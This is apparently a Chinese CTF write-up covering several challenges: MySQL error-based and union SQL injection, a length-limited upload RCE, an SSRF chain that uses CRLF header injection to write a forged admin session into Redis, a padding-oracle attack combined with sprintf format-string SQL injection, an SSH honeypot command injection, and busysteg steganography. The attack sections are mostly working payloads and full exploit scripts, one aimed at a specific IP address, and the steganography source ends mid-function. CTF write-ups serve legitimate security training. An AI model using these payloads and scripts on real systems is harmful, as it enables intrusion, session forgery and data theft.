mysql很灵活,这里有多种解法的。

获取数据库名

根据mysql的特性,用一个不存在的自定义函数,就可以爆出数据库名

pro_id=a()

得到数据库名 youcanneverfindme17

获取表名

有一篇文章提到过,当开启报错时,polygon函数可以用来获取当前表名和其字段名,不过这里我将polygon过滤掉了,

前往

https://dev.mysql.com/doc/refman/5.5/en/func-op-summary-ref.html

把这几百个函数用正则处理下来,然后fuzz,会发现还有其它函数可以用

multiPolygon(id)
multilinestring(id)
linestring(id)
GeometryCollection(id)
MultiPoint(id)
polugon(id)

我这里过滤的时候,专门漏了linestring,用它爆出当前表名

pro_id=1 and linestring(pro_id)

获取字段名

接下来就是需要得到表product_2017ctf的字段名了

开启了报错,所以这里可以使用using+join的方法来获取,

1
pro_id=1 union select * from (select * from product_2017ctf as A join product_2017ctf as B using(pro_id)) as C

得到字段名:pro_id pro_name owner d067a0fa9dc61a6e

获取表内容

理论上用联合查询就可以查出来了,不过这里我把最后一个字段名过滤了,

所以要在不出现字段名的情况下查出内容,将一个虚拟表和当前表联合起来即可

pro_id=-1 union select 1,a.4,3,4 from (select 1,2,3,4 from dual union select * from product_2017ctf)a limit 3,1;

得到关键内容:7195ca99696b5a896.php

根据tip,结合一下,得到下一关入口:

d067a0fa9dc61a6e7195ca99696b5a896.php

其实这里方法是很多的,使用移位注入和比较注入同样可以查出表内容,都不需要用到字段名~

第二部分

上传后缀和内容都没有限制,只有一个长度的限制,还是挺简单的

创建z.php

<?=*;

创建bash 内容任意

创建bash2 存放要执行的命令

由于每个人的上传目录下有一个index.html,所以先要把它删掉

所以第一次执行z.php时,bash2文件内容为:

rm i*

第二次执行z.php时,bash2文件的内容为:

ls /

因为长度的限制,所以flag的位置肯定在根目录下的,

cat /3*

得到flag

这个是最简单的方法,也可以用wget写一个shell到目录下~

L PLAYGROUND

0x00.前期准备

1.环境介绍

服务器外网只开启22、80端口,防火墙内开了6379、8000端口。22端口是服务器的ssh端口,80端口是nginx,为了提高服务可用性和日志记录。内网8000端口是我们模拟的未上线的开发环境,6379端口是没有密码的redis服务。

2.源码介绍

源码在ctf_django和ctf_second两个文件夹,首先把ctf_django的settings_sess.py文件名更改为settings.py,然后开始运行。这里使用gunicorn是为了使web服务更加健壮。

nginx相关配置文件如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
upstream app_server {
server unix:/home/grt1st/ctf_django/ctf_django.sock fail_timeout=0;
}
server {
listen 80;
server_name localhost;
keepalive_timeout 5;
location ~* \.(py|sqlite3|service|sock|out)$ {
deny all;
}
location /static {
alias /home/grt1st/ctf_django/static/;
}
location / {
add_header Server Django/1.11.5;
add_header Server CPython/3.4.1;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Scheme $scheme;
proxy_redirect off;
proxy_pass http://app_server;
}
}

将以下内容保存为gunicorn.service文件名,放在ctf_django目录下。

1
2
3
4
5
6
7
8
9
10
11
12
[unit]
Description=gunicorn daemon
After=network.target
[Service]
User=nobody
Group=nogroup
WorkingDirectory=/home/grt1st/ctf_first
ExecStart=/usr/local/bin/gunicorn --workers 3 --bind unix:/home/grt1st/ctf_django/ctf_django.sock ctf_django.wsgi
[Install]
WantedBy=multi-user.target

然后进入目录,启动服务。

1
2
cd /home/grt1st/ctf_first/
sudo /home/grt1st/.conda/envs/ctf/bin/gunicorn --workers 3 --bind unix:/home/grt1st/ctf_django/ctf_django.sock ctf_django.wsgi

这里还需要虚拟环境,python3.4.1,我使用的是anaconda。启动虚拟环境source activate ctf,然后启动ctf_second:python ./ctf_second/ctf_second.py

0x01.

首先访问网址,我们可以看到网页如图:

值得注意的是两点,一个是user名字,还有一个You can input any url you like

我们在输入框随便输入sina.com,可以看到返回内容:

打开f12开发者工具可以看到:

这里我们已经可以看出,url请求的结果来自于服务器,这里有极大可能是一个ssrf漏洞。

我们在公网上开个端口,查看来自服务器的请求,这里我使用的是云服务器nc -l -p 12345,然后我们输入公网ip:12345

可以在我们的云服务器上看到:

1
2
3
4
5
6
7
[grt1st@VM_14_12_centos ~]$ nc -l -p 12345
GET / HTTP/1.1
Host: 123.206.60.140:12345
User-Agent: python-requests/2.18.4
Connection: keep-alive
Accept: */*
Accept-Encoding: gzip, deflate

可以看到这个请求来自于python的requests库。

于是我们尝试通过构造特殊的url来打进内网,常见的绕过比如直接127.0.0.1,或者是进行一些进制转换、302跳转等等,但是我们会发现,一筹莫展,这些都被拦截了。

但是真的一点办法都没有吗?如果仔细分析页面的源代码,我们会看到页面里有一个图片,那么这里是否可能存在一个目录穿越、任意文件读取漏洞呢?

尝试http://localhost/static/http://localhost/static../http://localhost/static../manage.py,返回403;http://localhost/static../xxx,返回404。

在网站响应的http头部可以看到Server头部信息CPython3.4.1。由于python3.x的特性,会在pycache目录下存放预编译模块,于是依次下载文件:http://localhost/static../__pycache__/__init__.cpython-34.pychttp://localhost/static../__pycache__/urls.cpython-34.pychttp://localhost/static../__pycache__/settings.cpython-34.pyc

通过uncompyle6反编译pyc得到python文件,再依次下载需要的文件:views.cpython-34.pycforms.cpython-34.pychtml_parse.cpython-34.pycsess.cpython-34.pycsafe.cpython-34.pyc

分析代码可知,只有我们的user名为administrator才可得到flag,而这个用户名是不可能生成的。所以我们剩下的思路就是改变session,而这里session保存在redis中。从settings.py里我们可以知道这里使用的是django-redis-sessions

再分析代码逻辑,我们可以看到很多绕过方式都被拦截了。但是很多人可能不知道,在linux中0代表我们本机的ip地址,我们可以本地测试一下:

1
2
3
4
5
6
7
8
9
10
➜ ~ ping -c 4 0
PING 0 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.026 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.043 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.028 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.050 ms
--- 0 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3037ms
rtt min/avg/max/mdev = 0.026/0.036/0.050/0.012 ms

于是我们尝试输入0,可以看到我们已经成功进入了内网,虽然目前来看我们还是离flag很远。因为我们无法控制服务器http请求的内容,无法进行redis操作。

写一个脚本,看一下内网有什么服务,很简单的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
from lxml import etree
import re
s = requests.Session()
url = "localhost"
pattern = re.compile(r'[Errno 111] Connection')
def get_token(sess):
r = sess.get(url)
html = etree.HTML(r.text)
t = html.xpath("//input[@name='csrfmiddlewaretoken']")
try:
token = t[0].get('value')
except IndexError:
print("[+] Error: can't get login token, exit...")
os.exit()
except Exception as e:
print(e)
os.exit()
return token
for i in 10000:
payload = {'csrfmiddlewaretoken': get_token(s), 'target': '0:%i' % i}
r = s.post(url, data=payload)
if re.search(pattern, r.text):
print(i)

可以看到服务器还开了8000端口和6379端口,6379端口应该是redis。这里我们输入0:8000看看会返回什么:

1
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title></title> </head> <body> <form action="/" method="get"> <input type="text" name="url" id="url" > <input type="submit" value="submit"> </form> </body> </html>

看起来是一个GET方式的表单,这里我们传递表单的参数看一下0:5000?target=http://baidu.com

1
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title></title> </head> <body> <p>我觉得可以</p> </body> </html>

我们看到返回了内容,在用云服务器试一下nc -l -p 12345,输入参数0:5000?target=http://公网ip:12345:

1
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title></title> </head> <body> <p>timed out</p> </body> </html>

服务器请求timed out,再看服务器:

1
2
3
4
5
6
[grt1st@VM_14_12_centos ~]$ nc -l -p 12345
GET / HTTP/1.1
Accept-Encoding: identity
Connection: close
User-Agent: Python-urllib/3.4
Host: 123.206.60.140:12345

可以看出服务端使用的是urllib、python版本3.4,可能存在http头部注入。简单的poc:”0:5000?target=http://123.206.60.140%0d%0aX-injected:%20header%0d%0ax-leftover:%20:12345",看到服务器端:

1
2
3
4
5
6
7
8
[grt1st@VM_14_12_centos ~]$ nc -l -p 12345
GET / HTTP/1.1
Accept-Encoding: identity
Connection: close
User-Agent: Python-urllib/3.4
Host: 123.206.60.140
X-injected: header
x-leftover: :12345

我们成功的进行了http头部注入,可以拿来操纵redis。

那我们怎么通过0:5000打redis呢?看来要通过另一个ssrf漏洞。这里同样的对进制转换进行了过滤,但是我们可以通过302跳转构造ssrf。

同样的,在我们的云服务器上,通过flask进行简单的测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from flask import Flask
from flask import redirect
from flask import request
from flask import render_template
app = Flask(__name__)
app.debug = True
@app.route('/')
def test():
return redirect('http://127.0.0.1:80/', 302)
if __name__ == '__main__':
app.run(host='0.0.0.0')

看到返回:

1
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title></title> </head> <body> <p>我觉得可以</p> </body> </html>

那我们这里再次成功进行了ssrf漏洞,但是对redis的攻击类似与盲注,我们无法看到结果。

于是根据得到的源码,本地搭建环境,并安装django-redis-sessions

先访问本地,之后查看redis储存的键值对。

1
2
3
redis-cli
keys *
get xxxxxxxxxx

看到返回的字符串像是经过base64后的:NzVjZmFlYmY5MmMzNmYyYjRiNDlmODIzYmVkMThjNWU1YWI0NzZkYTqABJUbAAAAAAAAAH2UjARuYW1llIwNMTkzMGVhMzFlNDFmMJRzLg==

尝试解码:

1
2
3
4
5
6
7
8
9
10
11
12
➜ ~ ipython
Python 3.6.2 (default, Jul 20 2017, 03:52:27)
Type 'copyright', 'credits' or 'license' for more information
IPython 6.2.1 -- An enhanced Interactive Python. Type '?' for help.
In [1]: import base64
In [2]: a = "NzVjZmFlYmY5MmMzNmYyYjRiNDlmODIzYmVkMThjNWU1YWI0NzZkYTqABJUbAAAAAAAAAH2U
...: jARuYW1llIwNMTkzMGVhMzFlNDFmMJRzLg=="
In [3]: base64.b64decode(a)
Out[3]: b'75cfaebf92c36f2b4b49f823bed18c5e5ab476da:\x80\x04\x95\x1b\x00\x00\x00\x00\x00\x00\x00}\x94\x8c\x04name\x94\x8c\r1930ea31e41f0\x94s.'

对比网页里的hello, uesr: 1930ea31e41f0,我们可以把用户名替换为administrator

于是通过分析代码逻辑,修改sess.py,不产生随机字符串而是直接返回administrator。于是我们清除cookie,重新启动本地的django并监控redis:redis-cli monitor,得到administrator的序列化字符串"OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM2MGM3YWRhOWJjMDqABJUbAAAAAAAAAH2UjARuYW1llIwNYWRtaW5pc3RyYXRvcpRzLg=="

所以我们可以通过http头部注入执行redis命令,创建用户名为administrator的键值对。

我们云服务器端的302跳转地址如下:http://127.0.0.1%0d%0aset%206z78up4prpcderqrsq0rce35wwdnhg50%20OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM2MGM3YWRhOWJjMDqABJUbAAAAAAAAAH2UjARuYW1llIwNYWRtaW5pc3RyYXRvcpRzLg==%0d%0ax-leftover:%20:6379/,拆开看,即set 6z78up4prpcderqrsq0rce35wwdnhg50 OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM2MGM3YWRhOWJjMDqABJUbAAAAAAAAAH2UjARuYW1llIwNYWRtaW5pc3RyYXRvcpRzLg==

但是这里实际上有一个坑,url太长会报错:UnicodeError: label empty or too long,报错的文件在/usr/lib/pythonx.x/encodings/idna.py,报错在这里:

1
2
3
if 0 < len(label) < 64:
return label
raise UnicodeError("label empty or too long")

所以我们要控制url长度,比如通过append来给键加值,基本缩略如http://0%0d%0aset%206z78up4prpcderqrsq0rce35wwdnhg50%20值%0d%0a:6379。依旧很长,因为整个键名就非常长,这里我们也尝试缩短。

本地测试发现,最短的键名为8位字符,比如h1234567,于是缩减到http://0%0d%0aset%20h1234567%20值%0d%0a:6379

尝试:
http://0%0d%0aset%20h1234566%20OGIzY2Y0ZWFkOGI1MzExZ%0d%0a:6379

http://0%0d%0aappend%20h1234566%20DdlMDRkYjNiOGM0NWM%0d%0a:6379

http://0%0d%0aappend%20h1234566%202MGM3YWRhOWJjMDqAB%0d%0a:6379

http://0%0d%0aappend%20h1234566%20JUbAAAAAAAAAH2UjAR%0d%0a:6379

http://0%0d%0aappend%20h1234566%20uYW1llIwNYWRtaW5pc%0d%0a:6379

http://0%0d%0aappend%20h1234566%203RyYXRvcpRzLg==%0d%0a:6379

即可进行拼接,创建文件flask_poc.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from flask import Flask
from flask import redirect
from flask import request
from flask import render_template
app = Flask(__name__)
app.debug = True
@app.route('/redis')
def test():
return redirect('http://0%0d%0aset%20h1234566%20OGIzY2Y0ZWFkOGI1MzExZ%0d%0a:6379', 302)
@app.route('/redis1')
def test1():
return redirect('http://0%0d%0aappend%20h1234566%20DdlMDRkYjNiOGM0NWM%0d%0a:6379', 302)
@app.route('/redis2')
def test2():
return redirect('http://0%0d%0aappend%20h1234566%202MGM3YWRhOWJjMDqAB%0d%0a:6379', 302)
@app.route('/redis3')
def test3():
return redirect('http://0%0d%0aappend%20h1234566%20JUbAAAAAAAAAH2UjAR%0d%0a:6379', 302)
@app.route('/redis4')
def test4():
return redirect('http://0%0d%0aappend%20h1234566%20uYW1llIwNYWRtaW5pc%0d%0a:6379', 302)
@app.route('/redis5')
def test5():
return redirect('http://0%0d%0aappend%20h1234566%203RyYXRvcpRzLg==%0d%0a:6379', 302)
if __name__ == '__main__':
app.run(host='0.0.0.0')

本地测试,可以看到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
127.0.0.1:6379> keys *
1) "ubar4t1tpicq8152csdr351pabbkl0a6"
2) "h1234566"
127.0.0.1:6379> get h1234566
"OGIzY2Y0ZWFkOGI1MzExZ"
127.0.0.1:6379> get h1234566
"OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM"
127.0.0.1:6379> get h1234566
"OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM2MGM3YWRhOWJjMDqAB"
127.0.0.1:6379> get h1234566
"OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM2MGM3YWRhOWJjMDqABJUbAAAAAAAAAH2UjAR"
127.0.0.1:6379> get h1234566
"OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM2MGM3YWRhOWJjMDqABJUbAAAAAAAAAH2UjARuYW1llIwNYWRtaW5pc"
127.0.0.1:6379> get h1234566
"OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM2MGM3YWRhOWJjMDqABJUbAAAAAAAAAH2UjARuYW1llIwNYWRtaW5pc3RyYXRvcpRzLg=="

修改本地cookies sessionid的值为h1234566,已经成功。

于是我们在网址上分别进行输入0:5000?target=公网ip/redis、redis1、2…

然后修改cookies,成功得到flag。

simple-blog

进入题目后可以知道这是一个博客系统,那猜测应该会有后台,扫一下目录或者猜一下可以知道存在login.php, admin.php两个文件,访问admin.php可以发现有权限控制,访问login.php是一个登录界面。

通过尝试可以发现如果随便输入账号密码的话页面返回是Login failed.,但是账号密码都输入admin的话会跳转到admin.php,猜测这里应该是弱口令,只是除了密码以外还有其他的验证方式。

如果扫描字典够强大的话可以扫到login.php, admin.php都存在备份文件:.login.php.swp, .admin.php.swp

下载备份文件.login.php.swp得到源码,源码关键的部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function get_identity(){
global $id;
$token = get_random_token();
$c = openssl_encrypt($id, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token);
$_SESSION['id'] = base64_encode($c);
setcookie("token", base64_encode($token));
if($id==='admin'){
$_SESSION['isadmin'] = 1;
}else{
$_SESSION['isadmin'] = 0;
}
}
function test_identity(){
if (isset($_SESSION['id'])) {
$c = base64_decode($_SESSION['id']);
$token = base64_decode($_COOKIE["token"]);
if($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token)){
if ($u === 'admin') {
$_SESSION['isadmin'] = 1;
return 1;
}
}else{
die("Error!");
}
}
return 0;
}

可以看到在session中也做了身份验证,但是由于加密模式是aes-128-cbc,且$token在cookie里,可控,所以这里可以进行Pading Oracle Attack,通过修改$token可以把$_SESSION['isadmin']改为1(如果不清楚Pading Oracle Attack的原理的话可以看一下我写过的一篇博客),这样就成功登录进了admin.php

通过下载.admin.php.swp可以得到admin.php的源码,发现里面存在数据库操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if(isset($_GET['id'])){
$id = mysql_real_escape_string($_GET['id']);
if(isset($_GET['title'])){
$title = mysql_real_escape_string($_GET['title']);
$title = sprintf("AND title='%s'", $title);
}else{
$title = '';
}
$sql = sprintf("SELECT * FROM article WHERE id='%s' $title", $id);
$result = mysql_query($sql,$con);
$row = mysql_fetch_array($result);
if(isset($row['title'])&&isset($row['content'])){
echo "<h1>".$row['title']."</h1><br>".$row['content'];
die();
}else{
die("This article does not exist.");
}

乍看之下似乎有mysql_real_escape_string()所以无法进行注入,但实际上这里可以利用PHP格式化字符串的漏洞。

在PHP的sprintf这个函数中%\会被当成一个格式化字符串,如图

可以看到%\%y一样被当做了一个不存在的类型的格式化字符串,所以输出为空

所以利用这个原理,我们可以传入title=%' or 1#,此时因为mysql_real_escape_string()的存在单引号前会被加上一个\,那么最后拼接到语句里就是

1
sprintf("SELECT * FROM article WHERE id='%s' AND title='%\' or 1#'", $id);

这样%就会吃掉后面的\组成一个格式化字符串,单引号就成功逃逸了出来。

但是只是这样的话还是会报错参数不足,因为这条代码里有两个格式化字符串但是只有一个参数。不过PHP的格式化字符串还有另一种表示方法%1$s,其中%后面的数字就表示引用第几个参数,$后面是格式化字符串的类型,如图

所以我们传入title=%1$' or 1#,经过转义最后拼接到语句里就是

1
sprintf("SELECT * FROM article WHERE id='%s' AND title='%1$\' or 1#'", $id);

这样title那里引用的也是第一个参数$id,就不会报参数不足的错了

具体的原理可以看这篇文章

所以最终SQL注入的payload就是:?id=0&title=%251%24'%20union%20select%201%2C2%2C3%23

整个题目可由一个脚本跑出最终flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#-*- coding:utf-8 -*-
import requests
import base64
url = 'http://111.231.111.54/login.php'
N = 16
def inject_token(token):
cookie = {"token": token}
result = s.get(url, cookies = cookie)
return result
def xor(a, b):
return "".join([chr(ord(a[i]) ^ ord(b[i%len(b)])) for i in xrange(len(a))])
def pad(string, N):
l = len(string)
if l != N:
return string + chr(N-l) * (N-l)
def padding_oracle(N):
get = ""
for i in xrange(1, N):
for j in xrange(0, 256):
padding = xor(get, chr(i) * (i - 1))
c=chr(0) * (16 - i) + chr(j) + padding
print c.encode('hex')
result = inject_token(base64.b64encode(c))
if "<html>" in result.content:
print result.content
get = chr(j^i) + get
break
return get
data={'username': "admin", 'password': 'admin'}
while 1:
s = requests.session()
cookies = s.post(url, data = data, allow_redirects = False).headers['Set-Cookie'].split(',') #获得session和token
session = cookies[0].split(";")[0][10:]
token = cookies[1][6:].replace("%3D",'=').replace("%2F",'/').replace("%2B",'+').decode('base64')
middle1 = padding_oracle(N)
print "\n"
if(len(middle1) + 1 == 16):
for i in xrange(0, 256):
middle = chr(i) + middle1 #padding_oracle只能得到15位,爆破第一位
print "session: " + session
print "token: " + token
print "middle: " + base64.b64encode(middle)
plaintext = xor(middle, token);
print "plaintext: " + plaintext
des = pad('admin', N)
tmp = ""
print "padtext: " + base64.b64encode(des)
for i in xrange(16):
tmp += chr(ord(token[i]) ^ ord(plaintext[i]) ^ ord(des[i]))
print "inject_token: " + base64.b64encode(tmp)
result = inject_token(base64.b64encode(tmp))
if "css/login.css" not in result.content:
#payload = "%1$' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#" #注表名
#payload = "%1$' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x4b4559#" #注列名
payload = "%1$' union select 1,2,f14g from `key`#" #注字段
params = {'id': '0', 'title': payload}
r = s.get("http://111.231.111.54/admin.php", params = params)
print r.content
print "success"
exit()

注入时也有一个小坑,key这个表名是MYSQL保留字,我们把它当做表名带入查询时必须用反引号包起来,不然就会报语法错误而返回不了我们想要的结果。

MISC

树莓派

刚上线

  1. 题目介绍只给了个ip,有师傅当做web题,发现点不开。
  2. 扫了一波端口后,只有22开着,所以入口点肯定在这里。
  3. 根据题目的提示,按照正常的思维确实应该登录pi:raspberry,本来也是打算设置成这样,但是这个密码太弱了,题目还没上线就被黑铲扫了好几波,直接改密码种木马一波带走了。所以就改了一个需要一些脑洞的密码pi:shumeipai,可能有师傅在这里卡了一下。

第一个hint

hint1: 都告诉你密码了

  1. 这个hint主要提示弱密码是什么,因为不想让师傅们耽误太多时间,给出后很多师傅都上来了。
  2. 这时候ssh进去会发现是一个低权限帐号,很多操作都受限了,uname看内核版本也很高,这之后很多师傅就开始四处搜刮flag,bash_history、.swp等等,还看了所有文件的修改时间。
  3. 但是一番搜索后除了那个假flag什么发现也没有。在搜索的过程中,查看主机的网络状态netstat -autpn,会发现所有的ssh连接来源都是172.18.0.3,在这里应该会产生一些疑问,ping172.18.0.1、172.18.0.3都是通的,pi本机是172.18.0.2。
  4. 这时候可以猜测,ssh连接被0.3动了手脚,通过ssh的指纹完全可以验证0.3是师傅们和0.2之间的中间人。
  5. 下图是我们ssh连接时收到的公钥指纹:
  6. 下图是172.18.0.2主机sshd配置文件夹中的公钥:
  7. 可以看出两者是不一样的,所以验证了0.3在做SSH连接的中间人的猜测,这样一来有很大可能真的flag在0.3里。

第二个hint

hint.pcap

  1. 这是一个很重要的hint,流量中出现的主要IP是172.180.2 172.180.3,在流量包里可以看到明显的特征: 在建立了SSH连接后,外网发给0.3的加密数据包,0.3会先与0.2通信,0.2返回给0.3数据后,0.3再返回给外网的ip,在这里也能够证实0.3在做ssh的中间人。
  2. 一般打ctf的流量包里面都会藏一些有用的东西,所以这里设了个坑,下载了一个53.bin,但是文件的具体内容没有什么用,此文件实际上是之前部署在公网的蜜罐捕获到的DDos木马,所以先对执行了此文件的师傅说声对不起。
  3. 但是下载这个53.bin也不完全是坑人的,流量包里的http都很重要,过滤一下http可以看到只有几个数据包,User-Agent是wget,wget了cip.cc,并重定向到了www.cip.cc,这么做的初衷了为了暴露题目的公网IP,但是师傅们后来决定先不放这个流量包,所以题目描述直接把IP给出来了,这里也没什么用了。

  4. 那为什么53.bin有request没有response捏,实际上Follow一下TCP stream就能看到后面的都是二进制的数据,wireshark没有把他们识别为http协议。

  5. 实际上这个包最关键的地方在下图中两个GET 53.bin,这里涉及到一些蜜罐的东西,玩过SSH蜜罐的师傅可能了解,入侵者下载的恶意文件很可能随着执行而自动删除,所以绝大多数ssh蜜罐,无论低中高交互都会有一个功能,就是碰到wget命令,会解析命令并自动下载里面包含的恶意文件,这也就解释了为什么wget命令在两台主机上都执行了一次。

  6. 所以如果wget命令及参数没有解析好的话,是有可能导致命令注入的。这一点在后面的hint也有提示。这个漏洞我比较粗暴的设置为,当0.3主机得到了攻击者的命令,如果命令以wget为开头,則直接os.system(cmd),当然还是做了一些过滤的。

  7. 可以看到shell里常见的引入新的命令的符号大多数都做了过滤,比如& | $(),但是还是留下了姿势可以绕过,比如\n

  8. ssh tunnel的应用除了我们常用的shell,实际上还有exec,此应用不会在sshd上请求shell,只执行一条命令,比如ssh pi@123.123.123.123 'ls'

  9. 但为了方便构造,可以使用python的paramiko库来get flag

  10. 实际上也可以直接getshell

最后

  1. wetland是我之前写的一个高交互ssh蜜罐,基于python的paramiko库。这个题就是直接拿它改动了一点。地址在本github帐号的wetland仓库里。
  2. 题目的架构为真实云主机上跑两个docker容器,分别为wetland(172.18.0.3)和sshd(172.18.0.2),其中wetland是蜜罐程序,sshd用于执行黑客的命令。
  3. 两个容器的dockerfile在docker文件夹中,sshd是对rastasheep/ubuntu-sshd的修改,降低了权限。wetland是对docker hub上ohmyadd/wetland镜像的修改,修改了两个文件,加上了命令注入。
  4. 最后既然是蜜罐,肯定会记录执行的操作啦,日志文件都有保留,但不知道公开合不合适,就先不放出来了。

  5. 最后一张用bearychat来实时看都有什么操作:)

拿去当壁纸吧朋友

平时隐写玩的多的师傅们看到论文能意识到这个是busysteg,不多说。真·签到题。

大部分师傅在搭建openCV环境上面有一点障碍, 可以在这里看看我怎么在Ubuntu 16.04 x64搭建的:

https://github.com/skyel1u/my-pc-env/blob/master/my-pc-env.md#open-cv

编译busysteg的代码,直接使用就好了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
#include <opencv2/core/core.hpp>
#include <opencv2/highgui/highgui.hpp>
#include <opencv2/imgproc/imgproc.hpp>
#include <iostream>
#include <fstream>
#include <vector>
#include <algorithm>
using namespace cv;
using namespace std;
char* progpath;
void usage() {
cerr << "Usage: \n";
cerr << " " << progpath << " h <image path> <data path> <output image path>\n";
cerr << " " << progpath << " x <image path> <output data path>\n";
}
void fatalerror(const char* error) {
cerr << "ERROR: " << error << endl;
usage();
exit(1);
}
void info(const char* msg) {
cerr << "[+] " << msg << endl;
}
void hide_data(char* inimg, char* indata, char* outimg);
void extract_data(char *inimg, char* outdata);
int main( int argc, char** argv ) {
progpath = argv[0];
if ( argc < 2 ) {
fatalerror("No arguments passed");
}
if ( argv[1][1] != '\0' ) {
fatalerror("Operation must be a single letter");
}
if ( argv[1][0] == 'h' ) {
if ( argc != 5 ) {
fatalerror("Wrong number of parameters for [h]ide operation");
}
hide_data(argv[2], argv[3], argv[4]);
} else if ( argv[1][0] == 'x' ) {
if ( argc != 4 ) {
fatalerror("Wrong number of parameters for e[x]tract operation");
}
extract_data(argv[2], argv[3]);
} else {
fatalerror("Unknown operation");
}
return 0;
}
Mat calc_energy(Mat img) {
Mat orig;
Mat shifted;
Mat diff;
Mat res;
bitwise_and(img, 0xF0, img);
copyMakeBorder(img, orig, 1, 1, 1, 1, BORDER_REPLICATE);
res = Mat::zeros(orig.size(), orig.type());
int top[8] = {1,0,0,0,1,2,2,2};
int left[8] = {2,2,1,0,0,0,1,2};
for ( int i = 0 ; i < 8 ; i++ ) {
copyMakeBorder(img, shifted, top[i], 2-top[i], left[i], 2-left[i], BORDER_REPLICATE);
absdiff(orig, shifted, diff);
res = max(res, diff);
}
return res(Rect(1, 1, img.cols, img.rows)); // x, y, width, height
}
typedef pair<pair<uchar, int>, pair<int, pair<int, int> > > Energy;
inline Energy _energy(int r, int c, int ch, uchar v) {
int nonce = ch * ch * 10666589 + r * r + c * c + 2239; // to "uniformly" distribute data
return make_pair(make_pair(v, nonce), make_pair(ch, make_pair(c, r)));
}
inline int _energy_r(const Energy &e) { return e.second.second.second; }
inline int _energy_c(const Energy &e) { return e.second.second.first; }
inline int _energy_ch(const Energy &e) { return e.second.first; }
inline int _energy_v(const Energy &e) { return e.first.first; }
vector<Energy> energy_order(Mat img) {
/* Returns a vector in decreasing order of energy. */
Mat energy = calc_energy(img.clone());
info("Calculated energies");
vector<Energy> energylist;
for ( int r = 0 ; r < img.rows ; r++ ) {
for ( int c = 0 ; c < img.cols ; c++ ) {
const Vec3b vals = energy.at<Vec3b>(r,c);
for ( int ch = 0 ; ch < 3 ; ch++ ) {
uchar v = vals[ch];
if ( v > 0 ) {
energylist.push_back(_energy(r,c,ch,v));
}
}
}
}
sort(energylist.begin(), energylist.end());
reverse(energylist.begin(), energylist.end());
return energylist;
}
void write_into(Mat &img, vector<Energy> pts, char *buf, int size) {
int written = 0;
char val;
int count = 0;
for ( vector<Energy>::iterator it = pts.begin() ;
it != pts.end() && written != size ;
it++, count++ ) {
uchar data;
if ( count % 2 == 0 ) {
val = buf[written];
data = (val & 0xf0) / 0x10;
} else {
data = (val & 0x0f);
written += 1;
}
Energy &e = *it;
Vec3b &vals = img.at<Vec3b>(_energy_r(e), _energy_c(e));
uchar &v = vals[_energy_ch(e)];
v = (0xf0 & v) + data;
}
if ( written != size ) {
fatalerror("Could not write all bytes");
}
}
void read_from(Mat &img, vector<Energy> pts, char* buf, int size) {
int read = 0;
int count = 0;
char val = 0;
for ( vector<Energy>::iterator it = pts.begin() ;
it != pts.end() && read != size ;
it++, count++ ) {
Energy &e = *it;
const Vec3b val = img.at<Vec3b>(_energy_r(e), _energy_c(e));
const uchar v = val[_energy_ch(e)];
const uchar data = 0x0f & v;
char out;
if ( count % 2 == 0 ) {
out = data * 0x10;
} else {
